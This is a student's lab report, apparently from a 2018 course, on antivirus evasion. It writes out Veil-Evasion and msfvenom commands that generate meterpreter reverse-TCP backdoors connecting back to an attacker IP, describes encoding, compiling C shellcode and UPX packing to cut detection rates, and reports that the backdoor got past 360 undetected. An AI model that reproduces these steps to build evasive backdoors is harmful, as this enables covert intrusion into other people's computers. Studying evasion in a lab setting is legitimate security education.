Exp3 免杀原理与实践_4318王秀飞

Exp3 免杀原理与实践

一、基础问题回答

(1)杀软是如何检测出恶意代码的?

  • -检测特征码:
    老师上课说过,每次网络传输或者其他过程,都会有包(tcp或者其他),这些包里的内容可被检测。如果其中有某一行代码含有特征码-即这段病毒程序的特定标志?我是这么理解的,就可以被查出来。这个是一个很精准的,但是存在滞后,因为病毒库要更新。
  • -基于行为检测:
    看这个程序或者代码是干什么的,如果是乱穿你的文件等等,那基本就是病毒。不过也不一定,有误差。
  • -启发式检测类似:
    这个感觉有点类似是自我学习然后发现病毒?我是这么理解的。

(2)免杀是做什么?

使恶意软件不被AV检测出来

(3)免杀的基本方法有哪些?

  • -改变特征码:

  • 依靠分片等方法尝试找出特征码区域,并对该区域代码进行编码。

  • 加壳,使其无法进行逆向,比对病毒库中的特征码。

  • 改变行为方式:

二、开始实验测试

1.原始版本

将上此实验产生的后门 wxf_backdoor.exe 文件直接拷贝到开启360的win主机下

直接被360逮到~~

添加信任以后放在 http://www.virscan.org/上扫描

48%的报毒率!!那些没查到的可能因为病毒太裸了吧~

接下来需要对其进行改装了

2.编码版本V1

先对后门木马编码1次,wxf-1.exe


48%的报毒率,没有任何变化????那就编码10次试试,wxf-10.exe


48%的报毒率??完全没什么用!

3.veil-evasion版本

Veil-Evasion是一个与Metasploit有点类似的软件,已经在kali虚拟机里,如果没有可以进行在线安装:sudo apt-get install veil-evasion(反正我没成功,用同学电脑做的)
在终端下输入指令veil-evasion即可打开软件,根据menu的提示依次键入以下指令:

use python/meterpreter/rev_tcp //设置payload
set LHOST 192.30.1.193 //设置反弹连接IP
set port 4318 //设置反弹端口4318
generate //生成
4318wxf //程序名
1

该可执行文件存在kali计算机的/var/lib/veil-evasion/output/compiled/文件夹里,点击places的fengjia即可找到相应的文件夹:(但是被辣鸡360检测出来了)


放到网站上扫描一下:

4.C语言调用Shellcode版本

在Kali下生成一个C语言格式的shellcode数组,回连的IP为Kali的IP,端口自定。

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.174.131 LPORT=4318 -f c(第一次做失败了,ip是130,第二次ip是131。截图是第一次的,不影响最终结果)


将shellcode字符串复制下来,然后在kaili中随便改一个文件的后缀为.c文件,打开修改这个文件为可运行。再将其转换成可执行文件.exe


将.c复制到windows中,编译运行,生成.exe文件。这时候kali用msf监听,并运行刚刚生成的.exe。成功回连。


找到exe可执行文件 wxf.exe,扫描一下

17%的报毒率,比前面的方法不知道高到哪里去了!感动!

5.C调用升级版本

加壳
压缩壳UPX

直接用upx将MSF直接生成的文件加壳。


报毒率反而上升了?这是什么情况!不太清楚!!

但是本次实验最恐怖的是!360没有扫描出来我的c语言调用Shellcode,加壳的也没???恐怖如斯!

三、离实战还缺些什么技术或步骤?

我们该如何把这个文件传给对方并持续保持运行。而且还不被发现,这是一个真正的实际问题。而且,仍然有被发现的可能,这说明并不是一个非常完美的病毒。

四、实验心得与体会

这次试验是开学到现在最恶心的实验,因为我装了一天半的veil都没有成功!最后只能用别人电脑做,这可真是,呵呵!还有这次实验让我知道了,原来我们入侵其他人的电脑是十分简单的,并不是我们想象的那么复杂,一个实际上课不到1周的人就可以做到这个地步,难以想象真正钻研的人,看我们的电脑,那简直,就是自己后花园!

posted @ 2018-04-07 14:26  20154318王秀飞  阅读(136)  评论(0编辑  收藏